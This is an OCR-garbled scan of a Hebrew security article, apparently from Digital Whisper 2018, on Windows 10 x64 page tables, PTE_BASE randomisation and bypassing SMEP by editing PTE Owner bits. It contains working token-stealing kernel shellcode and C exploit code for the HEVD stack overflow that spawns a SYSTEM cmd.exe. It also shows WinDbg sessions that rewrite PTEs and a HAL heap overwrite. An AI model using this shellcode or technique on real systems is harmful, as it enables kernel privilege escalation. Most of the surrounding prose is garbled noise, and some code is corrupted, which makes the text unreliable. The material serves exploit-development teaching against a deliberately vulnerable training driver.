,x X s x 1o lxys”is  1xs ¢ pageTablds | . s x fX{lxss Ixx ] 4 ¢ X
1x A s 4T e
ST T 9 el s T H B S s L XPTES, T cesal USIXs s LTk
T oL L X s os s A LT s 16X XX T183 sl XXl X) s
xx ! ]s PTEBASE<* X . _ {PPE’BASE., 1+ X ] LPTE1" XX .5
sXx 1 ]s s Xs s T x s ox T o DXRTES] s 8 L HA s xS T
X", 4 xXx 4 1s .

~ ~ ~ v v

:0x00007FF7°4410164D * x * ] s . x X s 4.7 x s

kd: Ipte 00007££74410164d

Va O0007££74410164d
FXE at FFFFFeFBYDEED7FS FFE at FFFFFeFB7DAFFEES PDE at FFFFF&FBSFFDD100 PTE at FFFFFGEFFBAZ20808
contains 0270000020424867 contains 0110000006445867 contains 012000000E3A6867 contains Z2110000024CFADZ2S

pin 20424 —-DA——TWEY pfn 6435 —-DA——TWEY pfn =3ab —-DA—-UWEV pfn 24cfa ————4——TIREV
X X x . |s - % -|!pte_~|_ x; x”~-| '||_sA xAs‘¢X .S o« 4 x| . I x
DX ox L] R .o S TV s 4 <" X x PTBs: | Y L " TS

ntIMiGetPteAddress - 4 L« X 1. 4 x PTEx : I+~ *x 1,1

iGetPteAddress proc near
hr rcx, 9
oy vrax, 7FFFFFFFF&h
nd Fc¥, rax
oy rax, OFFFFF68B0000000800Nh
dd rax, rcx
etn
*x o lx e 48 44X X s 1. %4 .o Lo X Xx o ]s B x X 7

def get_pte_from_va (address )
address >>= 9
address &= Ox7FFFFFFFF8
address += OxXOFFFFF68000000000
return  address

def get_pde_from_va (address ):
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address
address
address
return

Technologic

>>= 18
&= O0x3FFFFFF8
+= OxFFFFF6FB40000000

address

def get_ppe_from_va

(address ):

address
address
address
return

>>=

27

&= O0x1FFFF8
+= OxFFFFF6FB7DA0O0000
address

def get_pxe_from_va

(address ):

address
address
address
return

>>=

36

&= OXFF8
+= OxFFFFF6FB7DBEDO0OO
address

Ipte

kd> lpte 00007££74410164d

PXE at FFFFFeFE7DBEDVFS
contains 0270000020424867
pin 20424 ———DA—-TIWEV

FFPE at FFFFFeFBYDAFFEED
contains 0110000006445867

pin 64ab ——DA&—TWEY pfn =3at

WA 00007f£74410164d

FDE at FFFFE&FBSFFLDI00
contains 012000000E3AG867
———DA——TIWEY pfn Z2d4cfa

PTE at FFFFFGEFFEAZ0S08
contains 2110000024CFAD2S
———_L—_UREY

F

1

~

CPTES: L1x7 4 _"sx

”=\x~lx”)

’”

.

J X "

1x 4

x

Windows 10 Anniversary Update (1607, Redstone‘1) + 1 1 x " 4 _

PTEXPXE, PPE, PBE | _ X f e x 1., 4xs x X x I ]s ©S X" 4 b Mo
s ] s X x's , X s x Xy X« s x x| _ X | X )
Fooov s 85X , S * 1. sEfriqueé Elias.NjssiNicdals Economou . s ~» x 1 171>
.CanSecWest 206 s ~ * Getting Physical: Extreme Abuse of Intel Based Paging Systems
l 4 _ ! PML4* SelfRef Entrys _ 1 1% s x _ A 1. ~ xpyps X X x I ]s
PMHES . « _PML4 X _ fL~%xq1.4xs X x 1] PMLA*  ooXET e XD X X

Redstone 1) Windows 10 Anniversary Update * , X ¢ s s {1 _Miarosoft 1 A * | x {s

s .

S x4 xS e s 40 S 2016 4, X ¥ X «\Versioh 1607 L (
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LoAX) o, Mitresoft 1 ! Black Hat 2016 s Yy . x s s SglfRef Entry x « _ s
: Windows* KASLR -~ - s 4 X7y
Predictable kernel address space layout has made it easier to exploit certain types of kernel vulnerabilities
64-bit kernel address space layout is now dynamic Various address space disclosures have been fixed
47 39 38 30 29 21 20 121 0
Linear address PML4 Directory ptr  Directory Table Offset ‘/Page table SEIf-map and PFN database are
randomized
+ Dynamic value relocation fixups are used to
o e e L T preserve constant address references
e randomized
¥ Non-paged pool v SIDT/SGDT kernel address disclosure is prevented
v Paged pool rET—— when Hyper-V is enabled
v System cache ke * Hypervisor traps these instructions and hides
v PEN database x e the true descriptor base from CPL>0
¥ Page tables i
v . andsoon ¥ o ¥ GDIshared handle table no longer discloses
o N kernel addresses
Breaking exploitation techniques Windows 10 64-bit kernel August, 2016 (Windows 10 Anniversary Edition)
« L SelfRefEntrys . s+~ .~ " Windows 10 RS1: | ~» Qx1EB>* PXBB -~ ~ 1 *7 4+« 7 |-+
I_ . < . . ”
kd: r cr3
cri=000000002=742000
kd: ldg @cri+led=3 L1
#2c742f68 00000000 0O0OOOOQ
L1607 S . .Y LTS o« b x X dxxsq LS8 o s Xy {0 X
S L1 s " PXE_BASEX x| 14 x X x| XL iWindows 104 ~ 1 St o
s ¢ . . « 1 s L X = s ]~
nt!MiGetPteAddress s 1 « «PTEs 158 7,1 X XL s 1 x 7 1.1 11 .- T4
cds 41 sHPIEBASEL S X4l ¥s . 1] Tox [T o,
(,,Sx-| EloGoX s 4.7 X s . x "] X ] X" ] o, ] . X X v X
F XL 14 S s {7 x s D "PTE BASEL._ S X4 1if_Goss IX D |3 X LS|
‘QVA rlpte .5 4014 L PFEBASE . * *X {7’ s)WnDhgs « x x _ s x

kd: uf nt!MiGetPtedddress
nt | HiGetPtehddress:

fE£££A03° 86056214 48=1=909 shr rcx, 9

fEE££A03° 86056218 48bBAfAfff££f£7£000000 mov rax, PEFFFFFFFAh
fEfE£R03° 86055222 48238 and TCH, TaR

fE£££R03° 86055225 48bB00000000S0BREEEf mov rax, OFFFFEEE000000000kL
fE£££R03° 8605522 4803c1 add rax, rox

fE£££R03° 86055232 =3 ret

kd: lpte 0

WA 0000000000000000
PXE =t FFFFEE8C462311000 PFE at FFFFEEC4GZZ00000 PDE =t FFFFEEC440000000 PTE at FFFESEE000000000
contains 032000002C4A43867 contains 000000000CCOOOQ0
pin 2cdal ———DA4A—-TUWEY not walid
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s XL 2 L s « {Morten &chenk Blacki Hat 2016« "*.: « 4 s *

s 4. +"x PTEBASEH, " _: *x . |s - X o, oL X , X .

_ X .41  Redstone &* < x Windows - x _ . YPaging &t x « 1" * T x 17 LSS L.
Tsp o x-vd s 9x ), L L ixd x0T Dx o,y 1 DX
SelfRef Entrys * ~  « x v 1 I x o X "D .ox X

64-Bit Token Stealing Shellcode

x x  Shellcbdes. o~ L. w0 X T4, st xS . x0T

¥ { Shéllcode ~ ¢ 47 .- X« .5 SYSTEM: Access*Tokem: " : * 4.7 ¥ 1 . x <y

.Paging Entries. * « 47 x 7 x I x {4 xX T x17 .

Shellcodes + ~ x " 71 :x4” 1 ], *J]] * “Shelldodes v s { X _+ 47> _s o XA
, Do a¥SNIFSE. 9ELX 2A01GA2Y 3 9f SO GABYT RFY L NR DAL
T T B IR S I S S PN NSNS SN IS S T i B S AR T B
S BEF* 7 s g d Y4y KPGR. " x s x4 LT

64-* HighLevel ' x « o Vidual Studig~ 1« 1 x .. Shellcod& 1 | x 1 s =  x .+« 1«
1«4 x .  sSolution Explotef masm + ., 40 * _ _ « Vidual&« si» x "<, -1+« ~

:Build Customizations ¢ Build Dependencies~ 1 * ” X , 17 1s ~ . 1.Ls

rdx, gs:[18
Rebuild r8, [rdx+22

Clean

Build

View mov r9, [r8+210
Analyze mov rcx, [r9]
Project Only find system:

Retarget Projects mov rdx, [rcx-8

cmp rdx, 4
jz found system

Owverview

Scope to This
opeto mov rcx, [rcx]

jmp find system

Mew Solution Explorer View
Show on Code Map
Profile Guided Optimization found_system:

Build Dependencies Build Customizations...

i ey
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‘masm -~ 4 x7
Visual C++ Build Customization Files ? X
Available Build Customization Files:
Name Path
[[] ImageContentTask(.targets, .pr... S$(VCTargetsPath)\BuildCustomizations\ImageContentTask.targets
[ Ic(targets, .props) S(VCTargetsPath)\BuildCustomizations\lc.targets
masm(.targets, .props) $(VCTargetsPath)\BuildCustomizations\masm.targets

[[J] MeshContentTask(.targets, .oro  S(VCTargetsPath)\BuildCustomizations\MeshContentTask.targets
[] ShaderGraphContentTask(.targ... S(VCTargetsPath)\BuildCustomizations\ShaderGraphContentTask.ta

< >

Find Existing... Refresh List Cancel

GaAONR&2TFd x altadNBpes . « lasm”x_ x4+ N N

:ltem Type General @ 1ltem-s  LPropertiess ! x L s _ 4y 41143 aSYof-SNE

Configuration: | Release ~ | Platferm: | All Platferms ~ Configuration Manager...
4 Configuration Properties v General
General Excluded From Build
I Microsoft Macro Assemblg Content
Item Type Microsoft Macro Assembler
X =X = . ”
X <8y 1 asmss “*Bhellasdes ™ s 4 X ,

.code

ElevatePrivileges PROC
; Find current process
mov rdx, gs:[188h]
mov r8, [rdx+226h]

mov r9, [r8+2f6h] ; ActiveProcesslLinks
mov rcx, [r9]
find_system:
mov rdx, [rcx-8] ; UniqueProcessId
cmp rdx, 4
jz found_system
mov rcx, [rex]
jmp find_system

found_system:
mov rax, [rcx+68h] ; Token
and al, @feh
mov [r8+358h], rax

; Recovery
xor rax, rax
add rsp, 28h
ret

ElevatePrivileges ENDP

END
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x {HEVD* Stack Overflow x|
r 1~ 11 Shellcodes” + - ~,

.I

l s 1L

S L, s 4.« 7" x Shellcodes + 1+~

. (689 Ihline Assembhyf

extern - ~» ¢ * HighLeveps _

x 7w o boq s e
X Shellcodes o+ . s « 1.1

o ] X ] . « 9 - S L 1x X s 4.« X s e s L
F T « s S L X s . R A I BN x 74 qs ¢
SRE B R SR L L~ SHelcdd®s six splxx, X s p{Lxy,
- " _ Inctemental Linking - x * 9+ bébug,* .~ _* 1.+4x. s v o "X s
Release * « _ * .+ 17 x ¢ 1 1ElevatePrivileges i+ 1 ' x4 " ¥ Xl x>
Il yx«o b 1.1
Pagings X ” LY X” ‘V_i ”
Pagings =X"Y”v FoL oA x| Xx,.,L'”_““j.S,_,J'H‘-.I"h'i SXL‘"'IEX’Z(
J o os 1o x v
- q , -~ XPagings 1 ToxxX {0 x4y R U R B
s ¢ WinDbg* -~ ¢ 47 Ix ¥y x|l s xwWritegWhatWhefle« 1 xx% ., x €s] Isx_ XX
« q s Y 4« L X 47 s Zx1-|~ Lo s 1 _ . =xh1)£\s"xxJ
1 LX s~ S Y 0 ks e Tx BTl A s d
. X S ><~]
Ll x " s 407 x\():xs LLXX]ss Kool o x by x oo , x "X L X
= s X% S L

1 _ *MSVG, .

s X Pl

s X x !

r 1 _ ~ Shekcodes + + ! I«

{ < ! s Shellcddes

. S XX

X

L, Recdvernp« « 7

:X\.”L :‘In

19 v {HBleyateRrivileges, _ * s 4. <" x

© xHighleve) ! x « _

x A s I -| ~ L

S-IL\. \.X”“L

s 4.7 x s L

] ] S+ . 8 8Cs., s

‘ElevatePrivileges

o2 I TR IO N

-||_:-|A|SX|_VA:|_" Lo, S

~

PTESL * -« 1 'Ring0~ & _ *

Intel Paging & Page Table Exploitation on Windows
www.DigitalWhisper.co.il

92

2018

1. x97x%x 4 Ly

”~xv|: ~|.SJ.|. LSJ+(‘”“ ”,X:)



Stack Overflow - 1+ s Doox L x ] 1 X "Lx L x X {7 x X o
Ll x” OneQffsL™]s |- x _oox 1s 40 Al x A, D RxsT T sy
“~ _:-l\. |-A> ~ =sv :-l\‘

- Stack Overflow ~ ¢ *Stack Ovetflow
" 44 Xs {xKHBVD X o, .

¢ x s |

WinDbg - ~ ¢ | .

140 %  memcpy L, *x ! _ A4l _ (HEVP@ Stack Overflow <, x.sx | ¢ |
HEVD . _ -64 1% .y X 17, Buffer 4 x by xx oo o0 s X
s , ¢ 1 s X ox oo 1 - . x , | L Ox808 -ll_:_lla~~” | _Iu » L

X |OCTL Dispateh . _
« HEVDx *

.Stack Overflow -

s | x 1 X T s 4« « Windowsx7”3dijt  l1xi< Xs  x Ux, sy s x 7
Cxx i ls ooy X4 AL X s 4 o <7 xAccess Token: s % {7 "1 ys Shelldcde: | .
X 1 X« R s " . X Ring0-* S v, XXy o xE® {xdTx s ;o4
. _-diggerStackOverflow : ~ € 44 <« " x Windows 10 1513 @bit-*] .~ x ~ 1 | s,
v A .s o Tx " HBEVE Stack Oveflows. i _C s " U x s, €] X
s "X L x "o 1. DoXox o

triggerstackOverftlow(
data[0x800 + Bx8 + Ox8];

(data) - 8);

memset(data, Ox41,
' *)&data[ (data) - 8] =

sendloctlCode(StackOverflow, data,

main() {
triggerStackOverflow(&ElevatePrivileges);

system("cmd.exe
9;
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- Bugcheck OxFC + ~ ¥ "WinDbg* R ! Ll x” , 17 1S
:ATTEMPED_EXECUTE_OF_NOEXECUTE_MEMORY

kd> lanalyze —w
3636 36 3636 36 3636 36 3636 36363 36 3636 3 36 363 36363 36 363 36336 36363636 3636 3636336 3636 363363036 363 363036 36363 3636 363633 30 I I3 NN HN

¥ *
£ Bugcheclk Analy=is *
¥ *

ATTEMPTED EXECUTE_CF HOEXECUTE MEHMOEY (fc)

An attempt was made to execute non—executable memory. The guilty driver
iz on the =s=tack trace (and i=s typically the current instruction pointer).
When pos=ible, the guilty driver's name (Tnicode string) is printed on
the bugcheck screen and sawved in KiBugCheckDriwver.

Arguments:

Argl: 00007ff6217116£0, Virtual address for the attempted execute.

Arg?: 25f0000023085025. PTE contents.

Argd: f£££d4001d9%023620, {(reserved)

Argd: 0000000020000005%, {(reserved)

S 4w x s s {1 AmgD XML $se Txdx T (. xis gy
bx  PTESLAG2 © 7 4 1% flptet % ¢ ¥x ¥ 1 x .« . ElevatePrivilegesi |, 1, 7 |
FEALY IS T s Ly s T T ] xS s ..

lkd> lpte ElevatePrivileges

VA 00007f£6217116£0
PXE at FFFFFeFE7DEED7FS PPE at FFFFFeFE7DAFFECO FPDE at FFFFFeFBEFFDEESE FTE at FFFFF&BFFE10EB888
contains 0270000033DAF867 contains 01100000287B0867 contains 012000001C5E1867 contains 25F0000023085025

pfn 33daf ——D&—-TWEYV pfn 287b0 ——D&—-TWEV pfn 1lcEbl ——DA&—-TUWEV pfn 23085 ————A4——TIREV
~ *QlpervisorkMode ExecutionPrevention- SMEP « { s | | Bugeh&ck , ss .2 x| ¢«
s " yYss .+ Kernel Expléitdtion*using 'GDI Objécts » _ ~ _ *SMER ¥ _ * x " ., * 4|
s " ¥Supervisos 1! 4 L Userx 144X {s I xo _  s..8.,0 %x s
b X~ ¥ -LRing0) SupervisoMode* ¢ x . .~ - Stck-Stashing " x [ x s
L . SMEP, , «CR4!. ¥ 208> 14> Usep~ “J44_ _ sS4 .7 x 1 x0T,
X" s BMEPY i, XS . .

kd: . formats @crd
Evaluate expres=sion:
He=: agoooQooo  Qols0ets
Decimal: 1378040
Octal: agooooooooooooNs203370
Bipary: 00000000 OOOQOQOOOQ 0OOOQOOOOO OQOQOOOOQOQO QOOOOQQOO0 QOD10l01 00000110 11111000

booX U] 644 X 1 L ISMEP i » XSMER T L X v .0 T 14" 1
SMEP - - x « Stack Ovérflow? - ~ o « [ L -

<

L] ROP* .t _siL TPROPw . ©E%d_SMEP = Xxw v, v 411 .
« X « L Infoleak 1 ~» KASLR+ 1 1« _Kefnghx 1:1x kK44 x4s o " s
ROP X . {** SMHP :] :4ROPwchains *x. , =1 x | . x"_ 41" yl.
- 1 .. s CootextSwitch  « % 4 x s | { XCR& 2051 51 4s4s X{sx X { | | X

s Shelktades . . s ] s _ SMEPx 11 CRE4 1414~ _ Shellgode” .
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. XCR4s20-sx * 1 41 *Is{ ~ .- ROPschainy ¥ _ Bugcheck

L1 X xq

o L
*4 o4 x0T dxL .S
> User 411 | x SMEP , ~ xPageTrablest . _SMEP: 4« .1 o~ 1+ =x
s PDEs PPES PXES - 1% 4 _s 4. °SMEP .~ ¢ _ *.*SupervidoMode
”CAX) :X‘-”L s { s = _In ,X”L~ s”“vx o‘l‘PTEL "'IVHV
WinDbg , ~QwhérBit-s User. 144 _ + 4,744 rs x4+ Ipt&d_ s 47
UBMEP 4 PHES (L. Tl x i D1l Wh@Xdsx DY R4 w X k]
1X”|-.. ZXX:JL ,_-|-|-|”xx,_,,s -IX>'IVS _|”x+‘_ L -IX”AL L
ST AT o X Keémgéh Supervisot 4 11 I's o _ QwnerBits =, # x> ] s {s
scoresecurity, s 1 x <L s7x os) 1] s, 171+ s 0 AL
4GB
KERNEL
2GB
USER
0
L Osvriers « "1x4 < . X L x "X 4] I‘XLVIAXLA _SX CoIxXLS s sx,xx,
. rContextSwitch, *SMEP, Yy x <« 1 o 1. 1.7 4.
ix 4 s 1~ *Olvpeps 1M Lol Dox Xl s x "X Juopy S S X s s
Ll e X ooshXx 0 TF o s s $ XN X T g e ] xR x
XX ~ © % s Shellcodess 4 s¥x « It OHeOff -1 ¥ _ A, ~ P .
Ring3+ ~»x¢17 1 _x., o o lxd 0 Ixx?gs o PXE < SX L]
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DX . CUPPE o2 ¢l 1e. lnfltrate 20359 S . .5 X o " x4 1~ 4
“x ., )4 1x L - XJPTE. Ownersi 1.1.% .2 1s X | "SMER{ » . _ o~ _ X1

‘Ring0-, ! x w0 1% %S T "1 v

Just one P*E structure is needed

Because of this, it means that even in a 512GB address range which is
user-mode, and within a 1GB block that is user-mode, and a 2MB region
that is user-mode, a single “Supervisor” 4KB page will bypass SMEP

This makes Write-what-where vulnerabilities combined with PTE
editing an even better deal

If we didn’t have memory corruption (i.e.: a more standard Write-what-
where), a single edit at a known PTE_BASE+Ptelndex offset would be

enough to bypass SMEP.
Can easily be done remotely as PTE_BASE is known

FAY S L ST L WinDby (L FT RIS @ it xs Do 1s [ {x X ]
L X 4" s 1 -
main() {

pteAddress = @;
oldProtect = @;

* address = VirtualAlloc(( ] B, 0x1000,
memcpy (addr &Flevat i
VirtualProtect(address, € , , &oldProtect);

DebugBreak();

triggerStackOverflow(address);

("cmd . exe™) ;

Ix  PTESL. . «Xs ~ x4 ,s 14 14 s]x " X x 1o x o Tx ., 14

X 7o , =RingB—" Y T v, 7 X X R T T [ I IxxXs AL ~I X o 1.
L. - Xx i ] Executable, ¢ 1T¥ s i+« + 4] xShellcode ' 1s k¥ de X7y
PTE* Owners 1 1> *WinDbg* | ", s ¢ breakpothtt . + X ~ ¥ " x © *PFEs | o {17 xx
r x HEVDWriggerStackOverflow « o+ « 7 7 pteAddress 4 3 + v x 7 . _  x o _ 0Xx 1]
. ( SHellcgdes =« x 7 <4 _ s X x 1 xos Ox1000D00: XX x XD 4L AL X ¢TI oxx:
v A Bysterm o x "o t ety L bt x T pmdeXe | 15X o s 0 LM x T

LS Tx ] x4 ] s

PTES * - HBEVD!TriggerStackOverfléwop + « WihDbg* | Breakpoints _ -~ 1+« 1
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kd> .reload ~f HEVD sy=: bp HEVDITriggerStackOverflow
kd: dv ~w
0000006 60ddE598 ptedddress = 0xf£f£££680° 00008000
0000006z AO0ddfEb4 oldProtect = 4
000o0006c” 60ddfsds addres= = 0x00000000° 01000000
kd> dt nt!_MHPTE HARDWARE O=fffff680° 00008000
+0x000 Valid co 0wl
+0=000 Dirtvl . 00
+0=x000 Owner 0wl
+0=000 WriteThrough 0w0
+0x000 Cacheli=able Qw0
+0x000 Accessed 0wl
+0=000 Dirty 0wD
+0x000 LargePage [IR=J1]
+0=000 Global 0w0
+0x000 Copyinlrite Qw0
+0x000 Tnu=sed [IRAJ1]
+0=000 Write 0wD
+0x000 PageFramsHumber Oy000000000000000000101100000100000110 (Ox2clOB)
+0=000 reservedl Qwo00oo
+0x000 Sof twareW=Index 001010110011 (0=x2b3)
+0=x000 HoExecute 0w0
‘WinDbg * ~ ¢ 1 4 XUser: ] s 1 "1 x. 0 Owners | x1ucd X, <toxxel, g
L e oo
kd: db Oxzffff£f680 00008000 L1
fffffa80 00008000 25 s
kd: eb Oxzffff£f680° 00008000 21
lkd> dt nt!_MMPTE HARDWARE Oxfffffea0 00008000
+0=000 Valid o Ovl
+0=z000 Dirtwl o Oy0
+0=x000 Owner O+
+0z000 WriteThrough O+0
+0=x000 CacheDi=zahble O+0
+0=z000 Accessed Oyl
+0=000 Dirtwy IR~
+0x000 LargeFage 00
+0=000 Global IR~
+0x000 CopyOnlrite O+
+0=000 UTnu=sed IR~
+0=000 Write O+
+0=x000 PageFramseHumber Ow000000000000000000101100000100000110 {0=x2cl06)
+0=x000 reserwvedl O 000ao
+0=z000 Sof twarelsIndex Oy01010110011 {0=Zb3)
+0=x000 HoExecute O+
s « PTES _ x « Jpte ¢ 4 ¥ Shelcbdes 1+ . 4L~ X 1. 4xs DX x ]
K xS ~ ¢ _ WinDbg Kernéh~ ~ {1 14 _ | x

kd> !pte 01000000

FPXE at FFFFEFeFE7DEEDOOO

FFE at FEFFEeFE7DAODOOOOD

Va4 0000000001000000

FLE at FEFFFFEFBE40000040 PTE at FEFFF&E000002000

contains 00DOOOOOZ7DD086Y contains 2B1000001DZ204867 contains 2B20000062105867 contains Z2B3000002C106021
pin 27dd0 ——DA—-TWEV pin 14204 ———DA&—-TWEV pfn 62105 ———DA——UWEV pin 2c106 ————A——KREV
1 1 HEVD!TriggerStackOverfléw x " _Breékpaints x ” RSN , k., S

x " w:1X x Is |*s b s 4 . .7 X S L s , ¢ s X X ] .
.Shellcodes  * -
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sy4.1 * _1.:°_ +Shellcode « . o 1SihdleStepping ., - * " = |
kd: g
Breakpoint 0 hit
HEVD I TriggerStackOvertf low:
Qo100 f££££801° 89895640 488952408 mow gword ptr [r=p+8].rbx
kd> pt
HEVD | TriggerStackOveri lov+0=cE
0010:£££££801° 898395708 c3 ret
kd> k1
# Child-5P RetAddr Call Site
00 ffffd001°d48867a8 00000000° 01000000 HEVD!TriggerStackOverflow+0=zcd [co:|
kd> t
0010000000007 01000000 &5488b142588010000 mow rd=.gword ptr g=:[1l88h]
kd: p
0o10:00000000° 01000009 4=8bLB220020000 mow ri. gword ptr [rdx+220h]
kd: p
0010000000007 01000010 448bBS£0020000 mow r9,.gword ptr [r8+2F0h]
1+ crhd,exe* whoami , 1 ~ " x s .4 . s
pte--_ x 7« SYSTHM x " ptekgverwrite.exe 1 x © _ cmd.exe , o X L T
SMEP -« x " {Stdck Qverflow ¢ « " v x 7" T .S ., X ] overwritelexeY -
PTE Owners 14> - 4 .|
154194 4. s*,SRNGOS <« 4T x x . kX d L 4.s o ox x|
Fod I x . s [T . x X "o s
HAL Heap & Arbitrgr-Overwrites
1Stack Overflow ¢ « " v *x"RATE 1 { wHAr Y! s 14~ O
RiNngD->* ' X« 1 <.s ¥Y{_si L ]RAGoN N« . x2S | ¥SMEP,
X s U x 1* PYECPANE 4L .l o, b AK
SooL . 4L xd.4xs DX x Kernel Exploitation v X R0 s ks xTExd S %

Fd1 48 x4 o« xHeap® r 1 X "Rédstene 2 (( ). s, HABs. (Heaps

~

Ced s s X X T o saqi skl Xx X cxXs g 4 XL s

> A A ~ A ~

PFNOXL1 X0x1000 + 1 s x , Beaps™ «i #6441 Sx 1 |'s ;¥
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Ll x , .U - _s XL P XPTE cPENS 4 0 X, L» X7 ¥ 408
. Heap*l_ ,. ! 4 _s L ©ov 0Ox3000 < 4 oA I Tl X x]i] ] s L 41X s
1.~ _A , 1 _Heapt B N I U B SR Tl NN SR b TE ENYTN (T (S N
.WinDbg ¢ X xIxe s " os 411 .« [ sC 00X
S « X s {17 ] X% ,,ﬁ‘A
med pteAddress = 8;
* address = VirtualAlloc(( 000, 0x1000,
memcpy (ad s, "HELLO WORLD!"™,
:0x1000000  * x * | LPTEs x :WinDbg .0 X I R s T x ] X {17
kd> dec 0x1000000
00000000° 01000000 4c4c4548 4£57204f 21444c52 00000000 HELLO WORLDI . . . .
00000000° 01000010 00000000 00000000 00000000 00000000 ... ....... ......
00000000° 01000020 00000000 00000000 00000000 00000000 .. ... ... .. ....
00000000° 01000030 00000000 00000000 00000000 00000000 . ... ... ......
000000007 01000040 00000000 00000000 00000000 00000000 . ...............
00000000° 01000050 00000000 00000000 00000000 00000000 . .. .............
00000000° 01000060 00000000 00000000 00000000 00000000 . ... ... ......
00000000° 01000070 00000000 00000000 00000000 00000000 ... ... . ... .. ....
kd> Ipte Dx1000000
V& 0000000001000000
FXE at FFFFF&FBTDEEDONO FPE at FFFFFGFE7DA000O0 PDE at FFFFFGFE40000040 FTE =t FFFFF&E000003000
contains 00DOO00024790867 contains ZE100000377F3867 contains ZB20000027574867 contains AB300000247F5867
pfn 24790 ——DA—TUWEY pfn 377f3 —-DA—TUVEY pfn 27574 ——Da&—TUWEY pfn 247£5 ——DA——TIT-¥
kd> ldc 247£5000
#247£5000 4cdc4B48 4£57204f 21444252 00000000 HELLO WORLD!. . ..
#247£5010 00000000 00000000 00000000 00000000 ................
#247£5020 00000000 00000000 OOOODOOO OOOODOOO ... . ... .. ... . ..
#247£5030 00000000 00000000 OOOODOOO OOOODOOO ... . ... .. ... . ..
#247£5040 00000000 00OO000D0 OOOODOOO OOOOOOOOD ... . ... .. ... . ..
#247£5050 00000000 000O000D0 OOOOOOOO OOOOOOOO ... . ... .. ... . ..
#247£5060 00000000 00000000 00000000 00000000 . ...............
#247£5070 00000000 00000000 00000000 00000000 . ............. ..
- Xx D] sQx247F5 « xQR1000000 - * x - | sSPTE *x *L PFNs X v L - 17 1
-S Lo X4 L e X, X s x OX47F5000s 4 ¥ ¥ X ® 0 ] & x I+~ 1X%x "
A4 Halginterrupt&ontrollers x4 A4 Ox4A0 1 | HHALES L Heap
x {7 x L
kdr Ypoifhal |HalpInterruptController)
Evaluate expression: —-3144512 = fff£f£ff££ ££d4d004c0
kd: dg ffffffff ££4004=0 LA
ftEffffff " ££A004z0 f£E£f£f££££°££4A00700 £££££2300°BA0NGBL13AN0
ftEffff££°££A004d0 fEf£f£££££°££4A00608 00000000 000000248
ffffffff ££d004eld f£E££££800°B30D236c0 £££££200° BANZ0OLERN0
ffffff££ ££A004£0 f£E££££200°bBI02b4dal £££££200° bA0N2EED
kd: !dg 14c0 LA
¥ ldcO fEEfEE££££°££A00700 £££££300°B30R113N0
his l4d0 fff£f££££°££4A00608 00000000 Q0000023
b3 lael fE££££800°L3INZ36cO f££££300°L3NZ0LLN
¥ 14f0 f££££800°b3A0NZE4al £££££300°B302ZEECN
1 ¢4 s . X x 1 OXEFFFFEFF EFD0QOAAL-s (Heaps . _ X X 1s N
.0x1000
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164 s * x DXFEFFF680°00088000 ¥ ¥ : | *PTE. _LPENs N
CTA AL exs s . 11~ x 1 0x1000 X x i]s
kd: dd FFFFFegO0O00002000 L1
fffffeB80 00008000 247f5867
kd> ed FFFFFaE000008000 1867
kd: !pte 0=x1000000
W& OoooQoOoooio0ooo0n
FXE at FFFFF&eFE7DBEDOOOD PPE at FFFFF&FE7DAOOOQOD PDE =t FFFFFeFE40000040 FTE at FFFFFae8000008000

contains 00D0000024790867

contains ZB100000377F3867

contains ZB20000027574867

contains AB30000000001867

pfn 24790 ———DA—-UWEY pfn 377f3 ———DA—-UWEY pfn 27574 ——DA—-TIVEY pfn 1 ———DA——TTW-¥
kd: p
00007ffa a84£2d63 o3 ret
kd: dg 0x1000000+4c=0 18
Qoooooo0" 0100040 fff£f££££°££400700 £££££800°b3061130
goooooooT01o004d0 ffff£f£££°££d400608 00000000 OQOOOOOZ2E
QOOoo000" 0100040 £E££££800°b30236c0 £££££800°b3020£00
QOOoooo0"010004£0 £££££800°b302b4al £££££800°b302bLA0
kd: dg Oxffffffffffdo0000+4=0 L&
fEffff£f ££d004c0 fEf£f£££££°££400700 £££££800°b3061130
ffffff££ ££d004d0 f£ff£££££°££400608 00000000 00000028
ffffff££ ££d004=0 £££££800°b30236c0 £££££800°b3020£00
ffffff£E  ££4004E0 f£Ef£££800° 03020420 £££££800°b3020L80
S vl . (S 3 UserL -« I xFax1 X ] ss o 4sCiq L 3 , S , X v mL
s * A 1/ s« 4.« Rt Fdex 14 HAL Heag | J _ St dsx fxq{xs sXX
1~ s v x4 Heaps.t sS4 XpidLl Lt dsixxo, A"
. S {1 s L . Xs Xl Ixsy X Iqxx LS L 1l x7 Fod XL Fdo. X 1 s ¢ s
T xhaldlll s 4 L -~ X x i ]s hal'HalpinterruptConttoller + : x 1 « « " x s 1 1.
- ROP Gadgets. _ X Xox o] w X oy T L, s L8 o 4s L I x ,
, - X~ .~ 1L SMER " . _ 1 ‘I ¥ROPR dhain r Stack Overflow - _ ¥ x| *halkdl 1+ « " L X
‘hal.dIF* x 4« <7 x ] x 1 HalpintérruptControllers | i
kd> dg= 0x1000000+4=0 110
Qoooooo0 0100040 fEfE££££££°££400700
Qoooooo0 0100048 f££££800°b3061130 hall!HalpRegisteredInterruptControllers
gooooooo o10004d0 fffff£f££°££400608
goooooo0 Qloood4ds  oQooooOOQOQTOQOQOOOODZ2E
Qoo00o00 0100040 f££££800°b30236ch hal!HalpApiclnitializelocallnit
Qoooooo0 0100048 fE££££2800°b3020fL0 hal ! HalphpicInitializelolnit
Qoo0oo00 " 010004£0  f£f£££800°b302bdal hal |HalpApicSetPriority
Qoooooo0 0lo004f£8  f£f£££800°b302b3c0 hal |HalphpicGetLocallUnitError
Qo000000" 01000500 f£££££800°b302bed0 hal |HalpApicClearlocallnitError
Qoooooo0 Q1000508  OQOOOOOOQQQOOOOO0ON
Qooooo00 01000510 f££££800°b302ad10 hal ! HalpipicSetLogicalId
goooooo0 Q0100018 oQooooOOQOQQOoooOoO0On
Qoo0oo00 01000520 f££££800°b3045660 hal 'HalpApicWriteEndOf Interrupt
aoooooo0 Qlooos2e  f£f£££800°b302ell0 hal!HalpipiclEndOf Interrupt
Qoo0oo00 01000530 f££££800°b301E8£00 hal ! HalpipicSetLinseState
Qoooooo0 01000538 f£f£f££800°b30175ch hal ! HalphpicRequestInterrupt
- hal.dll T X 1 X e e s o p A hakdil tse | o IXToe Lt s T X e L XX S
UM-* haldll o _ 1x X By X4 R S 4 L~ sUserModex S {1 x
" hal.dil T x 1 S { L~ X X ls s 4{s A L X~ 1 1. s X "
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tHeaps o+ 194, " x. 1 4% xIixyed ¥x 108 dxdx b4 ¥ o Dx T ox
s R chal'HdlpinterrupContrdllar™ .- x 4 « « 7 x rod HALS !
